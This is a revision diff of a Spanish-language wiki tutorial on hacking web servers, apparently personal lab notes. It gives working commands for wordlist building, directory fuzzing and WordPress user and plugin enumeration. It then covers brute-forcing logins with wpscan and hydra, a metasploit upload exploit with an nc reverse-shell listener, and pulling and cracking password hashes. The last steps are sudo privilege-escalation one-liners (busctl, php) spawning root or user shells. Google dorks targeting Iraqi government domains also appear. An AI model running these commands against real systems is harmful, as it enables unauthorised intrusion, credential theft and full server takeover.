Herramientas de usuario

Herramientas del sitio


tutorial:hacking-servidores

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Ambos lados, revisión anterior Revisión previa
Próxima revisión
Revisión previa
tutorial:hacking-servidores [2025/05/28 03:32]
truper [Fuerza Bruta y Exploits]
tutorial:hacking-servidores [2025/06/24 04:14] (actual)
anonimo [Google Dorks]
Línea 89: Línea 89:
       * **Con las pistas más relevantes que saquemos de lista_palabras.txt y del resto analizado crear un diccionario de fuerza bruta a medida**       * **Con las pistas más relevantes que saquemos de lista_palabras.txt y del resto analizado crear un diccionario de fuerza bruta a medida**
           * %%princeprocessor palabras_relevantes.txt > diccionario.txt%%           * %%princeprocessor palabras_relevantes.txt > diccionario.txt%%
 +      * **Si el diccionario es más específico y no se van a permutar palabras se puede usar crunch (ejemplo)**
 +          * <code bash>​crunch 14 14 ABCD123 -t pepe@@%%casa@@ > diccionario.txt
 +Crunch will now generate the following amount of data: 3601500 bytes
 +3 MB
 +0 GB
 +0 TB
 +0 PB
 +Crunch will now generate the following number of lines: 240100 ​
 +</​code>​
 +
 +**Descargar,​ conocer rockyou, un diccionario para poder hacer fuerza bruta con contraseñas al panel de login, ssh, etc**
 +    * %%https://​github.com/​brannondorsey/​naive-hashcat/​releases/​download/​data/​rockyou.txt%% 133MB
 +    * {{ :​tutorial:​rockyou2021.torrent.gz |}} 90GB descomprimido
 ===== Hacer fuzzing ===== ===== Hacer fuzzing =====
  
Línea 100: Línea 113:
   * Encontrar **versión** de **CMS** en el **código** fuente **html** de la página principal   * Encontrar **versión** de **CMS** en el **código** fuente **html** de la página principal
   * Buscar si hay **exploits para** esa versión de **CMS**   * Buscar si hay **exploits para** esa versión de **CMS**
 +
 +===== Archivos de interés en wordpress =====
 +
 +|wp-admin|Redirecciona a wp-login.php,​ Panel de login|
 +|wp-login.php|Panel de login|
 +|xmlrpc.php|Usado para hacer fuerza bruta con wpscan, más rápido que al panel de login con hydra|
 +|wp-config.php|Contiene nombres de usuario y contraseñas de bases de datos|
  
 ===== Buscar vulnerabilidades ===== ===== Buscar vulnerabilidades =====
Línea 110: Línea 130:
     * searchsploit wordpress | grep -E '​7\.2.*'​     * searchsploit wordpress | grep -E '​7\.2.*'​
  
 +===== Estenografía =====
 +
 +**Muchas veces hay fotografías que contienen información oculta**
 +
 +<code bash>
 +steghide info foto.jpg
 +"​foto.jpg":​
 +  formato: jpeg
 +  capacidad: 5,6 KB
 +�Intenta informarse sobre los datos adjuntos? (s/n) s
 +Anotar salvoconducto: ​
 +</​code>​
 +**Se puede intentar hacer fuerza bruta**
 +<code bash>
 +stegseek foto.jpg ../​Descargas/​rockyou.txt ​
 +StegSeek 0.6 - https://​github.com/​RickdeJager/​StegSeek
 +
 +[i] Progress: 99.75% (133.1 MB)           
 +[!] error: Could not find a valid passphrase.
 +</​code>​
 +
 +===== Leer lo ilegible, ejemplos =====
 +<code bash>
 +echo hola | xxd -p
 +686f6c610a
 +echo 686f6c610a | xxd -r -p
 +hola
 +</​code>​
 +**desofuscar javascript con [[http://​jsnice.org/​|jsnice]]**\\ ​
 +|<​code>​var _0x55ae=["​\x48\x65\x6C\x6C\x6F
 +\x20\x57\x6F\x72\x6C\x64\x21",​
 +"​\x0A","​\x4F\x4B"​];​var a=_0x55ae[0];​
 +function MsgBox(_0x9e43x3){
 +alert(_0x9e43x3+_0x55ae[1]+a);​} ;
 +MsgBox(_0x55ae[2]);</​code>​|<​code>/​** @type {Array} */
 +var _0x55ae = ["​Hello World!",​ "​\n",​ "​OK"​];​
 +var a = _0x55ae[0];
 +/**
 + * @param {?} alertCallback
 + * @return {undefined}
 + */
 +function MsgBox(alertCallback) {
 +  alert(alertCallback + _0x55ae[1] + a);
 +}
 +MsgBox(_0x55ae[2]);</​code>​|
  
 +===== Google Dorks =====
 +gov site:.iq -> obtiene dominios y subdominios de iraq\\ ​
 +gov site:.iq filetype:​pdf -> obtiene archivos pdf de dominios y subdominios de iraq\\ ​
 +gov site:.iq inurl:admin -> obtiene resultados que contengan la palabra "​admin"​ en las urls de dominios y subdominios de iraq\\ ​
  
-===== Fuerza Bruta y Exploits =====+**Más ejemplos** [[https://​afsh4ck.gitbook.io/​ethical-hacking-cheatsheet/​recopilacion-de-informacion/​google-hacking/​google-dorks|Google Dorks]]
  
 +===== Pasos, Fuerza Bruta y Exploits =====
 +  * Si estamos en local con una mágina de pruebas agregar en **/​etc/​hosts** el dominio a la ip de la máquina
   * Ver si hay **nombre** de **usuario** en la página principal del **CMS**, y ver si en el código html pone la **versión**   * Ver si hay **nombre** de **usuario** en la página principal del **CMS**, y ver si en el código html pone la **versión**
   * En **wordpress**   * En **wordpress**
-    * Encontrar con **ferobuster** cual es el directorio/​página principal de wordpress (loquesea) +    * **Encontrar** cual es el directorio/**página principal** de **wordpress** (loquesea) 
-      * Si estamos en local con una mágina de pruebas agregar en **/etc/hosts** el dominio a la ip de la máquina ​ +      * p1=seclist/​SecLists-master/​Discovery/​Web-Content/​directory-list-2.3-medium.txt  
-    * Enumerar **pluginsusuarios**:+      ​Con **feroxbuster**:​ 
 +        * %%feroxbuster -u http://192.168.0.137 -w $p1 -D%% 
 +      ​Con **gobuster**:​ 
 +        * %%gobuster dir -u http://​192.168.0.137 -w $p1%% 
 +        * **versión** vieja (2.0.1): 
 +          * %%gobuster -m dir -u http://​192.168.0.137 -w $p1%% 
 +    * Enumerar **plugins** populares y **usuarios**:
       * %%wpscan --url http://​pagina.es/​loquesea --enumerate u,p%%       * %%wpscan --url http://​pagina.es/​loquesea --enumerate u,p%%
 +    * __**Importante**__ -> Enumerar **todos** los plugins (__tarda__)
 +      * %%wpscan --url http://​pagina.es/​loquesea --enumerate ap%%
 +        * __**Importante**__->​ **Buscar** vulnerabilidades. Si en searchspoit no hay nada **buscar** en cuadro búsqueda de **github**, ej -> %%"​nombre plugin wordpress"​%%  ​
     * **Ataque con acceso** -> Obtenido el nombre de algún usuario se procede:     * **Ataque con acceso** -> Obtenido el nombre de algún usuario se procede:
       * 1º ataque de **fuerza bruta**       * 1º ataque de **fuerza bruta**
         * A **xmlrpc.php de wordpress** (que permite múltiples intentos de login en una sola solicitud.)         * A **xmlrpc.php de wordpress** (que permite múltiples intentos de login en una sola solicitud.)
-          * %%wpscan --url http://192.168.0.137/wordpress ​-U maria -P rockyou.txt%%+          * %%wpscan --url http://pagina.es/loquesea ​-U maria -P rockyou.txt%%
         * Al **panel de login** como en cualquier otro **CMS** (menos eficiente y más dificil de escribir)         * Al **panel de login** como en cualquier otro **CMS** (menos eficiente y más dificil de escribir)
           * Con **hydra**           * Con **hydra**
             * data="​cadena del inspector de código de firefox del archivo login.php"​             * data="​cadena del inspector de código de firefox del archivo login.php"​
-            * hydra -l pepe -P rockyou.txt url http-post-form data+            * hydra -l pepe -P rockyou.txt url http-post-form ​$data
           * Con un script hecho a medida como el de [[https://​github.com/​0xDTC/​Bludit-3.9.2-Auth-Bruteforce-Bypass-CVE-2019-17240/​blob/​master/​CVE-2019-17240|Bludit]]           * Con un script hecho a medida como el de [[https://​github.com/​0xDTC/​Bludit-3.9.2-Auth-Bruteforce-Bypass-CVE-2019-17240/​blob/​master/​CVE-2019-17240|Bludit]]
        * 2º Una vez descubierta la contraseña se explota una **vulnerabilidad** en la **subida** de archivos del **CMS** ​        * 2º Una vez descubierta la contraseña se explota una **vulnerabilidad** en la **subida** de archivos del **CMS** ​
-         * Desde metasploit (puede ser que automáticamente cree el payload y lo suba fácil) +         * Desde **metasploit** (puede ser que automáticamente cree el payload y lo suba, **fácil**
-           ​* ​Comandos+           ​* ​Algunos comandos
              * search wordpress              * search wordpress
              * use 0              * use 0
Línea 145: Línea 225:
              * **nc -lvp 8080**              * **nc -lvp 8080**
            * una vez dentro se obtiene **shell** como usuario **www-data** y:            * una vez dentro se obtiene **shell** como usuario **www-data** y:
-             * Se pueden encontrar los **hashes** de los usuarios por los archivos **php** del **CMS** ​**incluido ​el del administrador y otros datos de interés**__%%/​var/​www/​html/​loquesea%%__ ya que todos los archivos del **CMS** tienen permisos para el usuario **www-data**+             * Se pueden encontrar los **hashes** de los usuarios por los archivos **php** del **CMS** ​__incluido__ ​el del **administrador** y otros datos de interés __%%/​var/​www/​html/​loquesea%%__ ya que todos los archivos del **CMS** tienen permisos para el usuario **www-data**
                * %%grep -irE '​[a-z]+:​\$'​ /​var/​www/​cms/​*%% (hashes)                * %%grep -irE '​[a-z]+:​\$'​ /​var/​www/​cms/​*%% (hashes)
                * %%grep -irE '​[a-z]+@gmail'​ /​var/​www/​cms/​*%% (otros datos)                * %%grep -irE '​[a-z]+@gmail'​ /​var/​www/​cms/​*%% (otros datos)
-               * Obtenido el **hash** se intenta **descifrar** en **[[https://​crackstation.net|crackstation]]** previamente preparado con jhon ripper+               * Obtenido el **hash** se intenta **descifrar** en **[[https://​crackstation.net|crackstation]]** previamente preparado con john
              * Se puede ver **usuarios** del sistema e información sobre ellos en **/​etc/​passwd**              * Se puede ver **usuarios** del sistema e información sobre ellos en **/​etc/​passwd**
              * Permisos que tienen en **/​etc/​group**              * Permisos que tienen en **/​etc/​group**
              * Se intenta hacer **escalada a root**              * Se intenta hacer **escalada a root**
-               * Vemos los **privilegios** ​con -> **sudo -l** (del usuario con el que estamos), **sudo -l -U www-data** (a un usuario concreto, **si somos root**)+               * Vemos qué comandos puede ejecutar un usuario con **privilegios ​de root** -> **sudo -l** (usuario con el que estamos), **sudo -l -U www-data** (a un usuario concreto, **si somos root vemos lo de los demás**) y buscamos en **[[https://​gtfobins.github.io/​|gtfobins]]** cómo **bypassear** la restricción si es que se puede
                  * **(ALL : ALL) ALL**                  * **(ALL : ALL) ALL**
                  * **(ALL) NOPASSWD: ALL** ->  El usuario puede ejecutar cualquier comando como root sin necesidad de contraseña. Escalada inmediata.                  * **(ALL) NOPASSWD: ALL** ->  El usuario puede ejecutar cualquier comando como root sin necesidad de contraseña. Escalada inmediata.
-                 * **(root) NOPASSWD: /​usr/​bin/​busctl** -> Escalada ​manipulando el comando +                 * **(pepe) NOPASSWD: /​usr/​bin/​php** -> El usuario puede ejecutar php como pepe 
-                   * %%sudo busctl set-property org.freedesktop.systemd1 /​org/​freedesktop/​systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:​path=/​bin/​sh,​argv1=-c,​argv2='/​bin/​sh -i 0<&2 1>&​2'​%%  +                   ​*%%sudo -u pepe php -r "​system('/​bin/​bash'​);"​%% -> Ejecuta shell con permisos de pepe [[https://​gtfobins.github.io/​gtfobins/​php/​]] 
-                   ​* **%%(ALL) NOPASSWD: /​ruta/​script.sh%%** -> El usuario puede ejecutar cualquier comando como root que haga referencia a esa ruta y puede dar un **salto a root** así +                 * **(root) NOPASSWD: /​usr/​bin/​busctl** -> El usuario puede ejecutar busctl como root y escalar ​manipulando el comando 
-                     ​* sudo ./​script.sh,​ donde script.sh contiene +                   * %%sudo busctl set-property org.freedesktop.systemd1 /​org/​freedesktop/​systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:​path=/​bin/​sh,​argv1=-c,​argv2='/​bin/​sh -i 0<&2 1>&​2'​%% ​[[https://​gtfobins.github.io/​gtfobins/​busctl/​]] 
-                       ​* <code bash> #!/bin/bash+                 ​* **%%(ALL) NOPASSWD: /​ruta/​script.sh%%** -> El usuario puede ejecutar cualquier comando como root que haga referencia a esa ruta y puede dar un **salto a root** así 
 +                   ​* sudo ./​script.sh,​ donde script.sh contiene 
 +                     ​* <code bash> #!/bin/bash
 bash bash
 </​code>  ​ </​code>  ​
tutorial/hacking-servidores.1748395920.txt.gz · Última modificación: 2025/05/28 03:32 por truper